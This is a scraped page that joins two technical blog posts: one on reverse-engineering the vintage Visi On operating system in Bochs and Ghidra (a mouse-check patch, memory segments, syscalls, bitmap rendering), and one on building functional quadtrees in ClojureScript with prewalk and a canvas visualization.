Operating system development needs a good debugger. Even the history of Windows hints that a good debugger is essential for building a trillion-dollar software empire . And, as you can imagine, Visi On doesn't run under debuggers, so an IBM PC emulator with a built-in debugger is a must.

# Bochs

There are multiple debugging emulators: Qemu, MAME, Bochs, DosBox and MartyPC. None could run Visi On. Among these, Bochs was my primary target, as it can emulate a Mouse Systems mouse - the only mouse type supported by Visi On. Thanks to built-in debugging features, I produced a simple patch that allowed Visi On to boot in Bochs and Qemu. The patch simply skips a few mouse-related checks:

--- visionat.exe.dmp
+++ viatmice.exe.dmp
@@ -2534,4 +2534,4 @@
 0000a010  e8 7a 00 eb 49 b0 83 e8  47 00 e8 81 00 8b 1e 80  |.z..I...G.......|
-0000a020  0b 8d 57 05 ec a8 01 74  f8 8d 57 00 ec 24 f8 3c  |..W....t..W..$.<|
-0000a030  80 75 ee e8 78 00 e8 54  00 eb 23 c7 06 7e 0b ff  |.u..x..T..#..~..|
+0000a020  0b 8d 57 05 ec a8 01 90  90 8d 57 00 ec 24 f8 3c  |..W.......W..$.<|
+0000a030  80 90 90 e8 78 00 e8 54  00 eb 23 c7 06 7e 0b ff  |....x..T..#..~..|
 0000a040  ff 06 b0 33 b4 35 cd 21  8c c0 07 0b c3 bb 7a 06  |...3.5.!......z.|

The Bochs interface rhymes visually with VisiOn, being monochrome and pixelated.

# Mouse driver

If you want to reverse engineer a multi-tasking graphical operating system, the first thing you probably should figure out is its mouse driver. When you start an application, you cannot know where it will be loaded into the computer's memory until it is started. And when it is started, it is already too late to look at the application's initialisation. We need to stop the operating system the very moment we ask to start the program. In other words, the moment we release the mouse button after the double click.

Visi On uses serial mice connected over the COM port. Looking at the emulator events, I can see that the COM port is configured to be interrupt -driven. On an IBM PC, the handler for COM1 port interrupts is known as IRQ4/INT 0x0c. In other words, the address of the mouse driver is recorded in the interrupt table of the computer - it is set to 1a68:0000 , which, by the way, is exactly where it is in VISION.EXE.

In Bochs, you cannot set up a breakpoint (sometimes known as "pause" ) at the interrupt address, but you can set up a breakpoint for the next instruction. When I figured this out, it was easy to set a breakpoint at the mouse driver and understand how the mouse driver works.

Now I could simulate mouse clicking in the following way. RAM address 0x1f21b holds the mouse button status. Writing "1" there makes the OS think there was a right button click. Writing "2" and then "0" works as "press and release the left mouse button". With this, I managed to pinpoint the moment the OS starts an applications.

# Reverse-engineering pains

A tool that can convert machine code back to something human-readable is called a disassembler. There are many options, but I went with NSA's Ghidra as it is the tool I've used in the past to reverse-engineer the Sumikko Gurashi computer .

Normally, disassembly is a straightforward process. Truth to be told, I expected the whole reverse engineering process to take a couple of weekends. If only life was so simple...

# Visi On was compiled by a vintage C compiler

Here is a bit of the disassembly of now-open-source contemporary text editor EDLIN from Microsoft, as seen by Ghidra:

       0000:0119 50              PUSH       AX
       0000:011a b4 30           MOV        AH,0x30     ; syscall 0x30
       0000:011c cd 21           INT        0x21        ; an MS-DOS call
       0000:011e 3c 02           CMP        AL,0x2
       0000:0120 7d 05           JGE        LAB_0000_0127
       0000:0122 ba 8a 10        MOV        DX,0x108a   ; pointer to an error message
       0000:0125 eb e7           JMP        LAB_0000_010e

Here is the corresponding source code:

;----- Check Version Number --------------------------------------------;
        push    ax
        mov     ah,Get_Version
        int     21h
        cmp     al,2
        jae     vers_ok                         ; version >= 2, enter editor
        mov     dx,offset dg:bad_vers_err
        jmp     short errj
;-----------------------------------------------------------------------;

The disassembly basically matches the source code and thus is easy to understand.

Compare with the disassembly coming from VisiOn:

       64c5:0c55 c7 06 16        MOV        word ptr [0x16],0x0
                 00 00 00
       64c5:0c5b 8b 1e 16 00     MOV        BX,word ptr [0x16]
       64c5:0c5f 89 1e 18 00     MOV        word ptr [0x18],BX
       64c5:0c63 8b 0e 18 00     MOV        CX,word ptr [0x18]
       64c5:0c67 89 0e 9c 15     MOV        word ptr [0x159c],CX
       64c5:0c6b 8b 16 9c 15     MOV        DX,word ptr [0x159c]
       64c5:0c6f 89 16 de 09     MOV        word ptr [0x9de],DX
       64c5:0c73 83 ec 02        SUB        SP,0x2
       64c5:0c76 c7 46 d6        MOV        word ptr [BP + -0x2a],0x1
                 01 00
       64c5:0c7b 83 ec 02        SUB        SP,0x2
       64c5:0c7e c7 46 d4        MOV        word ptr [BP + -0x2c],0x1742
                 42 17
       64c5:0c83 e8 9e 00        CALL       define_window

Can you follow the logic?

var_0x16 = 0
BX = var_0x16
var_0x18 = BX
CX = var_0x18
var_0x159c = CX
DX = var_0x159c
var_0x9de = DX
**whack the stack!**
BP[-0x2a] = 1
**whack the stack!**
BP[-0x2c] = 0x1742
CALL       define_window

Do you also feel your blood boiling from seeing the "hot potato" variable definition? It should have been

var_0x16 = 0
var_0x18 = 0
var_0x9de = 0
var_0x159c = 0
BX = 0
CX = 0
DX = 0
CALL define_window(0x1742, 1)

# BP stack frame

The comment "whack the stack!" above is quite representative of what is happening in the code.

Most computers nowadays have a stack . If you don't know what a "stack" is, imagine: you work as a clerk, and your assignments come in the form of sheets of paper with tasks. You put new sheets with tasks on top of the sheets you already have. When you need to process the next task, you usually take the topmost sheet. You might feel bad for all the old tasks at the bottom of the stack, but it is the easiest way to keep track of things.

Here is where "stack frames" come. Now, imagine that you have a coworker obsessed with efficiency. They think that some old tasks should be done before newer tasks, and some new tasks should be done after old tasks. To do so, they take a chunk of the sheets from the stack, rearrange them as they see fit, and put them back in. Sometimes they even grab multiple unrelated chunks of the stack at once. A chunk of a stack is a "stack frame".

Using stack frames simplifies code compilation for subroutines, because a subroutine can assume that it can do whatever it wants with its stack frame, treating it like its own private memory allocated on the global stack. "Forgetting" the data from the stack frame is as simple as moving the stack pointer.

This technique used to be common on x86-based computers some 40 years ago. Ghidra doesn't support it at all. Bochs doesn't care about the BP stack and can only show you the SP stack. VisiOn almost never uses the SP stack directly; most of the applications are working with the BP stack.

I believe this is a property of the C compiler Visi On used. A different compiler might have used SP, just like modern compilers do. And most certainly, a hypothetical Visi On port for Motorola 68k CPU, a processor that doesn't have a BP register, would not need to emulate the BP stack frame.

# Unusual cross-segment calls and "magic" long pointers

# Segment model

The IBM PC, VisiOn target computer, is built around the Intel 8088 processor. A remarkable thing about this processor is that it uses the segment memory model . In a nutshell, at any given moment in time, the program has access to no more than four fragments of the computer's RAM, each 64 kilobytes in size: the code segment, the data segment, the stack segment, and the "extra" segment. This memory organisation simplifies porting programs from 8-bit computers, and in theory allows a straightforward implementation of multi-tasking for small programs. If you have 640 kilobytes of RAM, and your program is configured to use a single segment for all four segments (CS, DS, SS and ES), you could easily load 10 programs at once.

But, as it happens, segments are quite limiting. A single data segment can store about 35 pages of "plain text" in a common 8-bit encoding . If you want to store a long document in the computer's RAM (a novel or a thesis), your program will need to switch between multiple data segments.

By the way, a memory reference to data within a single segment is called a "short pointer". A memory reference to a different segment is called a "far segment". To unambiguously identify a region in memory, you need a "long pointer" consisting of a segment and offset pair.

Things are much worse if a program doesn't fit in a single code segment. For programs running under DOS, it is usually not an issue: the program can assume it has a monopoly over the computer's RAM and just use "CALL FAR" and "JMP FAR" to change the current code segment. Even so, the operating system might load the program into any available memory segment. If the program uses "far" calls or pointers, the operating system must perform a "relocation" . This is how things were done in DOS and early Windows versions.

VisiOn's approach to memory management is different from DOS. Each code segment is position-independent ; it cannot use far CALLs or long pointers. Large programs are split into multiple code segments. When a program is executing a code segment 1 and needs to call a function from a code segment 2, for example, it must do so through the operating system. The benefit of this approach is a software implementation of "virtual memory". If a program is, for example, 2 megabytes large, and the computer only has 512 kB of RAM, the operating system can only keep in RAM the segments of the program that are being executed right now. When a program requests a segment not in the RAM, the OS can load it from the hard drive, in a form of swapping .

By the way, most of the time the ES segment is set to the kernel/OS/VisiHost data segment, and SS is set to DS (the current applications' data segment).

# "Magic" pointers

Even so, VisiOn could have been "normal" about their implementation of virtual memory. A far call might have looked like this: call_segment(segment_number, function_address) . Instead, it looks like this: call(). Magic!

This is what cross-segment calls look like in Ghidra (and it would look exactly the same in any other disassembler):

    5e32:009b cd c1       INT 0xc1                    ; Call operating system entry point 0xc1
    5e32:009d 28 08       SUB byte ptr [BX + SI],CL   ; ??? Change a random memory byte ???

The disassembler assumes that bytes 0x28 0x08 encode a command. It is a normal thing to assume; this is how the Intel x86 processor normally works. But in this case, it is not a command, it is a 16-bit number: 0x0828 . The OS tweaks the return address from the INT 0xc1 handler so these two bytes are skipped by the processor.

I call this kind of number "magic pointers", because a long pointer normally must be two 16-bit numbers: a segment and an offset. But in VisiOn, a single 16-bit number encodes both. This is implemented in a really clever way. Remember the "entry points" table I mentioned?

The "entry points" table has pairs of 16-bit numbers: segment and offset. For example, if a function is stored in a segment file 0x0002 at the offset 0x1234, the table will have both numbers written down:

<entry_points_table:0> 0x1234 0x0002

Now, what is the "magic pointer" then? It is a pointer (or offset) to the address of a row in this table, in bytes, relative to the beginning of the code segment where the entry points table is stored. Baaam!

The code above, INT 0xc1 ; 0x0828 basically tells the OS:

  1. Load the code segment with the entry points table - we told you about it when we installed the program
  2. Go to the position 0x0828 in this code segment and read two numbers from there: offset and segment
  3. Do the far call to a function at segment:offset
  4. When the function is finished, return everything the way it was before

Moreover, the segment references in the entry points table are dynamically refreshed. The operating system keeps track of the physical RAM address where each segment is loaded.

# Code segment reallocations

VisiOn is unusually aggressive at memory management compared to its contemporaries; it keeps swapping code segments in and out. This is very troublesome for debugging.

Imagine that the program you are debugging, currently loaded to the computer's RAM at segment 0x5e32 , makes a cross-segment call at the offset 0x9b (like in the code snippet in the previous chapter). Let's say you're not interested in what is happening in this call, and you want to just "step over" the function call. You expect that when the far call is completed, your program will continue starting from the address 0x5e32:0x09f (the next command after the "magic pointer"). Oh, how naive!

The operating system can (and often does) decide to swap your program out of RAM during the far call. When the OS swaps your program back in, it will put it in the next available code segment, for example, 0x4c4b . The execution will continue not from 0x5e3d:0x09f but from 0x4c4b:0x09f . Your breakpoint at 0x5e32:0x09f won't activate; the debugger's "step over" function simply doesn't work.

# Note: the only thing the application absolutely must do is bounce off the trampoline

All the code segments in VisiOn have a command jmp [es:0x0] at the address 0x9 .

When an application's function is called (be it main , an event handler, or a "magic pointer" call), the OS pushes 0x9 on the stack as the return address before jmp to the function's entry point.

When a function finishes its work and executes a ret command, the CPU gets the return address from the stack ( 0x9 ) and executes the command jmp [es:0x0] . This is a far jump, but where does it jump to? The answer is: the CPU reads a long pointer from es:0 (the beginning of the OS kernel data segment); then jumps to it. The code at this point will decide what is the next jmp destination. This technique is called "jumping into a trampoline ".

If you're writing your program in assembly (and you shouldn't be), then no one stops you from replacing ret at the end of your functions with:

add SP, 2
jmp [es:0x0]

You can avoid "returning to 0x9 ", but you still must jump into the trampoline. Fun!

# Talking to VisiHost

A major part of the reverse-engineering effort was focused on trying to understand the internals of two smallest applications available for the OS, the Tutorial app ("tutor") and the Convert To Calc app ("cvtcalc"). The Tutorial app is 6.3 kilobytes of machine code, but that's actually quite a lot: 3525 lines (about 80 A4 sheets) of disassembly.

# Leveraging magic breakpoints

One thing that really simplified the debugging was adding Bochs' "magic breakpoints" to the Tutor and CVTCalc apps. Magic breakpoints work like this: when the emulator encounters a useless instruction - xchg bx, bx - it treats it as a breakpoint. These breakpoints happen as if by "magic", without any need to simulate mouse click events or figure out segment relocation between the calls to the OS. The only downside: this command needs to be "squeezed in" into the existing machine code. Thankfully, some of the machine instructions in the Tutor app are NOP ("do nothing"), so I replaced a few of those with xchg bx, bx .

# System calls

Most operating systems provide "system calls", a set of library methods that can manage disks, RAM, and so on. Graphical operating systems often provide calls for creating windows, and even handling the mouse and keyboard. Visi On is no exception.

A standard way to make a system call on an IBM PC-compatible is to call a software interrupt . The operating system tells the CPU that it can handle a certain software interrupt; a program uses this interrupt to communicate with the OS; the OS can return control to the program when the system call is finished. This is how system calls work in MS-DOS, for example:

;; Print a character
mov DL, '!'     ; the character to print in the DL register
mov AH, 2       ; function number 2 in the AH register
int 0x21        ; MS-DOS system call

VisiOn registers multiple interrupt handlers; among those, three are commonly used: 0xc0 , 0xc1 and 0xc2 . The interrupts 0xc1 and 0xc2 are used for direct and indirect "magic pointer" function calls. 0xc0 is the system call interrupt; it is the interface to the VisiHost.

Designed with portability in mind, VisiHost accepts arguments to the system calls through the stack: different processors might have different registers, but VisiOn most definitely needs to have a stack to work. A VisiOn system call looks like this:

;; Get the Segment ID for own data segment
push process_id         ; put "process_id" variable on the stack
push 0x219              ; push the syscall number and the size of the arguments in bytes on the stack
int 0xc0                ; call VisiHost

I originally thought that 0x219 is the number of the syscall, but very quickly discovered that there are only ~0x70 syscall handlers, so the actual syscall number is simply 0x19 . It took a bit of trial, error, reading the disassembly of the kernel, and stepping through a call to understand that 0x02 is the number of the arguments passed to the syscall times two.

The reason for that is simple: the application's stack is stored in its own data segment. When the operating system takes control, it uses its own data segment with its own stack. To pass the parameters between the stacks, the OS copies all the syscall arguments from one stack to the other.

# Get_Process_ID and Get_Segment_ID

There aren't that many system calls that a regular application makes. Among those, the first two calls an application makes are 0x17 and 0x19 .

0x17 returns the process ID for the current application.

0x19 takes a process ID as an argument and returns the data segment ID for the application. A VisiOn application absolutely must know its own Data Segment ID. The Segment ID is passed to all the syscalls; for example, when the application asks the OS to print a string on the screen, it needs to pass around not only the offset to the string relative to a data segment, but also the Segment ID for this data segment.

These two are followed by a system call 0x18 - "get Application Manager data" - which I will describe later.

# Messages

A bare-bones application for VisiOn must:

  • create a window,
  • then create a menu,
  • then wait for a menu click,
  • and then destroy the menu and the window.

All of this is done with system calls 0x21 and 0x22 . How did I find this out? There was no silver bullet, I've been running the same code in the debugger over and over again, tweaking some parameters, commenting out some bits of code here and there, and eventually asking Atsuko to write a small assembly program following the specifications I provided to confirm the discoveries experimentally.

Originally, I thought that 0x21 was something like "create windows & menus" and 0x22 was "redraw the window and maybe wait for an event". But something didn't feel right. 0x21 is always called with a different structure as the argument: sometimes it defines a window, sometimes it defines a menu and the event handlers, and sometimes it destroys all the created UI elements. 0x22 always returns a value, and sometimes it makes the application go into the background.

So, my conclusion is: most likely, 0x21 is "send the message" and 0x22 is "receive the message (maybe wait for one)". I don't have many examples of "messages", but I managed to partially describe "create the window" and "wait for the events" structures.

These messages resemble Smalltalk, but they are relatively rare compared to other types of system calls. It makes me think that at some point VisiOn left behind its Smalltalk roots, and the "messages" subsystem might be just a remnant of the original design.

# Fake stack

"Create the menu and wait for an event" function does something wacky. The structure we pass to the syscall 0x21 accepts a pointer as one of the arguments. In the original VisiOn apps, it points to a structure created on a stack. For the sake of simplicity, we placed this structure in the data segment. Things worked until we added on-screen buttons; clicking a button would crash the system. Why? The operating system used this pointer to access data from both after and before the pointer. In other words, this is a pointer to the middle of a structure!

Why would anyone do that? No idea. This detail of the implementation likely didn't matter for programs written in Visi C, and most developers probably didn't even know about it.

# Reaching out to VisiMachine

The articles in the BYTE magazine tell us that if an application wants to draw on the screen, print a text, read a file from the disk, or define an on-screen button, it needs to do so through VisiMachine. Indeed, while VisiHost system calls can do a great many things, the applications I tried to reverse-engineer never called them directly. For example, there are syscalls 0x34 and 0x35 for drawing a bitmap on the screen and copying a bitmap from the screen, but these syscalls are only ever called from the Services app. Moreover, they're not "window-aware": with these calls, the application can draw on the screen outside of its own window!

So, if we want to be good citizens, we need to follow the standard call convention and reach out to the VisiMachine. But how?!

# Syscall 0x1e

The most common system call in any application is 0x1e . This call seemingly does almost anything, including but not limited to: reading data from files, printing text on the screen and creating on-screen buttons. Sounds like a "VisiOp" (VisiMachine) call, doesn't it?

Figuring out the VisiOp calls was really challenging. The number of arguments for the call is always different, and even the arguments themselves are different between different runs of the same program. This call is intense!

When a program starts , it asks the OS for the Application Manager data segment using syscall 0x18 . From this segment, the program copies into its own segment:

  • 12 "virtual device" IDs unique to the copy of the application,
  • 1 long (segment+offset) pointer to Application Manager,
  • 2 more "system" IDs, and then
  • 170 more "function" IDs.

If you're just looking at disassembly, this operation is simply copying 372 bytes (12 + 1 * 2 + 2 + 170 words) from one segment to the other.

When a program needs to call a VisiOp, the syscall 0x1e receives:

  • total number of arguments,
  • one of the "system" IDs,
  • one of the "function" IDs,
  • number of arguments minus 2 (e.g. not counting two IDs above)
  • one of the "virtual device" IDs,
  • one or more extra arguments, some of which might be the application's segment ID.

Additionally, the application sets a flag at the segment+offset of the Application Manager before this call, and clears it after the call.

# System IDs and Virtual Device IDs

My understanding of the Virtual Device IDs is limited and is based on the actions taken by the OS.

// VT = Virtual Terminal
#define DEVICE_VT 0x3
#define DEVICE_MEM 0x4
#define DEVICE_MENU 0xc

#define SYS_MESSAGE 0x0
#define SYS_CALL 0x1

The "Virtual Device" IDs are sort of similar to the list of "data types" from the article "The Visi On Operating Environment":

PROGRAM 
PROCESS 
MEMORY SEGMENT
PORT 
RASTER
DEVICE
FILE
BACKGROUND 
FONT
MOUSE
SOUNDMAKER 
KEYBOARD

But it couldn't be the same thing! Both "font management" (FONT) and "define clickable area" (MOUSE) are managed through the DEVICE_VT . Did the specification for the system change between this article and the OS release? No idea.

# Function IDs

Things get really interesting and confusing if you consider that the 0x1e system call requires a "function" ID to operate. For example, if you want to load a font, you need to look up the "function" ID 0x18 , and pass it along with the DEVICE_VT .

As you can imagine, it is impossible to load a font in a DEVICE_MEM , and it is impossible to read a file from DEVICE_VT . What is the point of using both device ID and function ID, then? I don't know. But considering that we pass the number of arguments twice, perhaps, there is no meaning to it. Perhaps, VisiOps were implemented by two different teams who couldn't agree on how to pass the arguments between the VisiHost and the VisiMachine.

The true nature of "function" IDs is "magic" pointers. The "function ID" for any VisiOp is simply an offset to a function in the "magic" pointers list for the Application Manager . There are over 600 "magic" pointers in the Application Manager (you can find the list in SEG10003.VOS at offset 0xa600 ), but only 170 of them are used as VisiOps.

# Direct access to the memory manager

While VisiOn has a VisiOp that can copy data between two segments by their Segment IDs, every now and then it can be useful to resolve the physical address for a given memory segment. This is most definitely not a cross-platform approach, but VisiOn applications use it when they want to peek inside the Application Manager's data segment.

The memory access dance is done this way:

  1. Assume ES = OS segment
  2. The table of segments in the memory manager begins at segID2seg = es:[[es:0x6]+[es:0x4]]
  3. The word at es:[segID2seg+segID] stores flags of the segment ID (swapped in/out, used for read/write)
  4. The word at es:[segID2seg+segID+2] stores the physical location of the segment in the RAM, if it is loaded

If the segment is not present in RAM (swapped out), it is possible to ask the OS to load it for you. I highly suspect syscall 0x05 is responsible for segment loading, but most apps are not using it. All the normally required memory segments are present in the RAM as if by "magic", anyways. The Pyramid game is using this call to ensure the font segment is in the RAM. Without this call, it might not load in time on a slow machine like an XT; this is probably related to the DMA disk operations initiated by the OS.

# Outstanding hackery of bitmap displays

It isn't too difficult to use VisiOn's Virtual Terminal Device for text output and on-screen buttons, but displaying graphics and custom fonts required a bit of trial and error. The reason, of course, is the lack of references: VisiOn only displays images on the splash screen of programs like Word and Calc!

# Custom fonts as a bitmap format

I think there must be a VisiOp function for displaying a bitmapped image. But, for some reason, when VisiOn Calc draws a splash screen, it uses something completely different: a custom font.

The bitmapped image is divided into glyphs, glyphs (1-127) are loaded as a font, and then the image on the screen is printed as if it was just a string. The Convert To Calc logo, printed with the default font, looks like this:

You can see that this method allows image compression: empty blocks are represented by spaces.

# Finding a Segment ID for a segment

The VisiOp "load font" loads a font from a Segment ID passed to it. This means an application must know how to find a (dynamically-assigned!) Segment ID for any of its segments. The code that resolves a Segment ID for a magic pointer 0x810 is so clever it made me flip my table:

mov ax, [cs:0x810+2]

Convert To Calc has multiple code and data segments. One of those segments has a table of "magic" pointers. The "magic" pointer at offset 0x810 is a "magic" pointer to the file with the font. So far, nothing out of the ordinary.

As I mentioned before, the operating system fills out the "magic" pointer table (list of entry points) with the Segment IDs when it starts an application. The Segment IDs are filled out "in place". The entry points list in the Tutorial app is stored in a segment that doesn't have any code in it.

But Convert To Calc has a couple of functions exported from the "entry points and magic pointers" segment. When a cross-segment call is made to such a function, the current list of magic pointers and Segment IDs is stored right in the same code segment . A "magic" pointer, simply being an offset from the beginning of the file, can be read with a simple mov :

mov ax, [cs:magic_pointer]   ;; entry point offset
mov ax, [cs:magic_pointer+2] ;; entry point Segment ID

So, mov ax, [cs:0x810+2] called from the code segment with the entry points table allows the program to know what Segment ID was assigned to the font segment.

# ROPs

Printing text through the VisiOn's virtual terminal in the graphical mode, for all intents and purposes, behaves like a proper Bit blit . One of the VisiOp parameters accepts a ROP code ("Raster OPeration").

VisiOn takes an interesting approach to ROPs and bitmap displaying. You might know that Windows supported ternary BitBLT with JIT-generated machine code for display rendering. VisiOn uses binary ROPs, similar to the ROPs in Xerox Alto or Bell Labs BLIT, and it also produces JIT machine code, but it produces the code for the "glyph space".

Among other things, VisiOn will break each character into bits when you load a font and then emit the machine code that will produce the required bits. Basically, if your font array was font[char_id][bit_num] , it will be converted into font_jit[bit_num][char_id] . I am not sure why; maybe there are some performance benefits to this approach.

If this sounds like an unnecessary headache, remember that bitmapped output on CGA is a headache already. The screen buffer in CGA is interlaced: odd and even lines are stored in separate memory blocks. The pixels on the screen are bit-packed, too. If you want to plot a pixel at coordinates (1,1), your program will need to:

  1. Understand if you're drawing a pixel on an even or on an odd line,
  2. Resolve the memory offset for the correct interlaced block,
  3. Divide the Y coordinate by 2, and the X coordinate by 8 to find the byte that stores the pixel,
  4. Read this byte from the video memory,
  5. Flip a single bit in this byte, corresponding to the pixel you want to set or reset,
  6. Write the byte back.

These calculations are expensive, so it only makes sense to make the video driver slightly more complicated but feature-rich. For example, if you're reading the pixel from RAM anyway, you can choose between ADD, OR, NOT, or XOR pixel operations for free.

There are 16 available ROPs in total. Here is a checkerboard background and a circle drawn on top of it with different ROPs:

# Mini-FS

Each application is shipped with something I call a "mini-file-system". The format of it is primitive: the number of entries, the list of pointers to the entries, and then the entries themselves. Each entry has a header similar to the "segment header" used by the installer, consisting of the magic number and the length of the entry.

The mini-FS, among other things, is used for the built-in help system. Entries to the mini-FS can be referenced from the menu system, so the OS could "magically" display the right entry when the user clicks "HELP".

Naturally, the application can read entries from the mini-FS with a simple VisiOp call.

# What's next?

This reverse-engineering project ended up being much bigger than I anticipated. We have a working application, yes, but so far I've documented less than 10% of all the VisiHost and VisiOp calls. We still don't know how to implement keyboard input, or how to work with timers and background processes (if it is possible).

Atsuko and I would like to continue working on this SDK, but considering our other projects, I cannot imagine it taking as much priority as it has so far. This may be as far as we get. But this is pretty far already. If one were to follow these notes, they should be able to discover and document new VisiOps, say, from Word or Graph, very fast.

# Bloopers

I discovered two funny bugs in the process of reverse-engineering.

# The window is too small!

If you've done any graphical programming for windowed environments, you would expect that the Create_Window() function requires window dimensions for a freshly-created window. VisiOn is free from such prejudice. As far as I can tell, applications are not supposed to freely decide what their window size should be. The Application Manager's option sheet has fields "window width" and "window height" that define the dimensions for most windows (except for the Application Manager, Help and Tutorial windows).

Naturally, the application can read the dimensions of its window so it can resize the contents inside. But if the window dimensions are too small, some of the applications would crash, and would take down the whole system:

# Let me BEEP

VisiOn loves to beep at the user. It beeps every time a menu option is chosen or an on-screen button is clicked.

If you are tired of the noise, you'd appreciate that Application Manager has an option to replace the sound with a "visual beep". It is implemented as a flashing area of 32x16 pixels around the mouse cursor. Every time the flashing is about to happen, an image "below" the cursor is preserved in RAM to be restored after the "visual beep" is over. However, the memory allocated for this bitmap is never freed. It takes between 200 and 1000 clicks to fill the RAM with useless copies of the mouse cursor, and then the system crashes.


# Thanks

Huge thanks to:

  • Atsuko Ito for moral support and for the actual Homebrew app implementation,
  • Tom Stepleton for proofreading and early feedback on this note,
  • Nathan Lineback for an extensive research into VisiOn, and for his software preservation efforts,
  • VisiOn developers,
  • you, the reader!

Functional Quadtrees

Hacker News
lbjgruppen.com
2025-12-04 13:18:38
Comments...
Original Article

A Quadtree is a tree data structure, which is useful for giving more focus/detail to certain regions of your data, while saving resources elsewhere. I could only find a couple tutorials/guides and both were imperative, so I figured it'd be fun to do a functional version in Clojure which runs in the browser.

A demo

In this blogpost I'll show you how to build both a functional Quadtree and the visualization you see below. Imagine the canvas to be a top-view of map and your mouse-position to be the spot you're occupying on the map. Near you, you want crisp details, small cells of high resolution. The further away we get from you/the camera (your mouse-position), the less we care about details.

Be aware that on mobile, you have to click at the spot you want to simulate the cameras position. I recommend you view this on a desktop system with a mouse, where the simulation reacts to the mouse position in real time.

The recursive approach

It's hard to find any tutorials on how to build a general purpose Quadtree, but the 2 I did find both took the imperative approach, ie. editing directly on each node. Nothing wrong with that approach, it can be blazingly fast but it does leave you with the housekeeping, ie. downscaling nodes that are no longer close to the camera. I'd much prefer a declarative definition that rebuilds the entire tree in sub-milliseconds, so let's make that happen.

In this implementation, I want to show a very general functional approach and goes like this:

  1. Read a camera (player,mouse,focus-point,whatever) position
  2. Test if the current node is optimally sized
  3. If not, split into 4 children, goto 2

Optimally sized in this case is just "Am I too far away from the edge of the node" ? If the distance is greater than some threshold, let's say the width of the node, then we split.

Our data model

Depending on your use-case, you can fit as much information as you want into this model. If you're doing some kind of 3D rendering, you might want to keep tabs on neighbor-relations, LOD steps and such, but for the basic tree structure, you just need this:

(defn qtree
  " Instantiates a tree node "
  [[x1 y1 x2 y2]]
  {:root?   false
   :bounds  [x1 y1 x2 y2]
   :center  (mapv #(js/Math.floor %)
                  [(half x2 x1)
                   (half y2 y1)])
   :width   (- x2 x1)})

In fact we strictly speaking, don't need the center/width stored, but it does make life a bit easier.

Given a root node and a camera-position we can determine if we want to split or not, simply by testing the distance from the camera to the center:

(defn distance
  [[x1 y1] [x2 y2]]
  (js/Math.sqrt
   (+ (js/Math.pow (- x2 x1) 2)
      (js/Math.pow (- y2 y1) 2))))

(defn too-close?
  " Determines if the camera is closer than halfway to
    the edge of a node "
  [ node camera ]
  (< (distance camera (:center node))
     (:width node)))

(defn split?
  [ node camera ]
  (and (too-close? node camera)
       (> (:width node) _Q_MINIMUM_SIZE)))

That final check on the width of the node, essentially allow us to recurse until we can't split anymore. In Clojure we have 2 very powerful idioms for walking a tree structure: Postwalk and Prewalk.

Postwalk is a depth-first, post-order walk of the tree which applies some arbitrary function to each element.

(w/postwalk (fn [e]
                (prn "Looking at: " e)
                e)
            {:rootval 1
            :node1 {:data "foo"
            :vec  [1 2 3]}})
"Looking at: " :rootval
"Looking at: " 1
"Looking at: " [:rootval 1]
"Looking at: " :node1
"Looking at: " :data
"Looking at: " "foo"
"Looking at: " [:data "foo"]
"Looking at: " :vec
"Looking at: " 1
"Looking at: " 2
"Looking at: " 3
"Looking at: " [1 2 3]
"Looking at: " [:vec [1 2 3]]
"Looking at: " {:data "foo", :vec [1 2 3]}
"Looking at: " [:node1 {:data "foo", :vec [1 2 3]}]
"Looking at: " {:rootval 1, :node1 {:data "foo", :vec [1 2 3]}}
{:rootval 1, :node1 {:data "foo", :vec [1 2 3]}}

I hope this is an intuitive way to see the path postwalk takes. The function only prints what it sees and then returns it as is, thus the end result is exactly the map we started out with. Notice how we first see the root key, then its value, then both together as a MapEntry, then it goes deeper into the tree.

Now compare that with prewalk:

(w/prewalk (fn [e]
               (prn "Looking at: " e)
               e)
           {:rootval 1
           :node1 {:data "foo"
           :vec  [1 2 3]}})
"Looking at: " {:rootval 1, :node1 {:data "foo", :vec [1 2 3]}}
"Looking at: " [:rootval 1]
"Looking at: " :rootval
"Looking at: " 1
"Looking at: " [:node1 {:data "foo", :vec [1 2 3]}]
"Looking at: " :node1
"Looking at: " {:data "foo", :vec [1 2 3]}
"Looking at: " [:data "foo"]
"Looking at: " :data
"Looking at: " "foo"
"Looking at: " [:vec [1 2 3]]
"Looking at: " :vec
"Looking at: " [1 2 3]
"Looking at: " 1
"Looking at: " 2
"Looking at: " 3
{:rootval 1, :node1 {:data "foo", :vec [1 2 3]}}

Prewalk examines the same elements and in the same way, but the path is what we call a pre-order traversal, which means you see contents of nodes before the elements - And by implication, you can swap those nodes and then visit the elements. All in all, prewalk makes for a very simple recursive pattern:

(w/prewalk
 (fn [n]
     (if (and (map? n) (split? n [x y]))
         (subdivide n)
       n))
 qtree)

Yes, it's really that simple. Given a root-node and a camera-position (x,y), this will recursively resolve all children to the maximum resolution.

The Visualization

If you want to read ahead, I've shared a repo here: Github

The code should run straight out of the box and open a webinterface on port 8020. Shadow-cljs makes light work of compiling anything from a single file to a huge frontend application, into a single JS file.

Running in a browser we get a nice 2D API from the standard canvas element. Basically, to draw our Quadtree we need only 3 things:

  • A Quadtree
  • A function which draws a node
  • A function which draws all children

As you've probably guessed, the Quadtree itself is just a simple map with some keys. But because this is a realtime visualization, I want to create a connection between whichever tree I generated and what's drawn on screen. Fortunately both Clojure and Clojurescript support both atoms and watches:

(def quadInst (atom nil))

(add-watch quadInst :updateQuads
           (fn [_ _ old-tree new-tree]
             (draw-all new-tree)))

By convention in Clojure, we name arguments underscore (_) if we do not care about them. In this case, I only need the new-tree for the visualization. If you're not a native Clojurian you might find this pattern appealing as it gives you access to both the pre-updated version and the updated tree, meaning you can run diffs, add new children to a scene while removing others.

I mention it here for demonstration purposes only, in the latest commit you'll see I actually remove all atoms and demonstrate a 100% pure functional solution without atoms. However for the purpose of explaining Quadtree this is a simple subscription-pattern which most developers will recognize. It ensures that whenever the atom Quadtree is updated, so is the screen.

(defn draw-all
  [ tree ]
  (draw (:root? tree)
        tree
        (get-tree-color tree))
  (when-let [children (:children tree)]
    (doseq [c children]
      (draw-all c))))

However there's a fun detail here. To make it seem fairly consistent I couldn't just use random colors, that would make the entire screen flicker whenever you moved the mouse. Basically, if I have a rectangle centered at 50,50 - I always want it to have the same color. A really neat and simple trick is the 32bit hash, which is succinctly implemented in javascript like so:

function fastHash(str) {
    let hash = 0;
    for (let i = 0; i < str.length; i++) {
        hash = (hash << 5) - hash + str.charCodeAt(i); // Hash computation
        hash |= 0; // Convert to 32bit integer
    }
    return hash >>> 0; // Ensure the result is unsigned
}

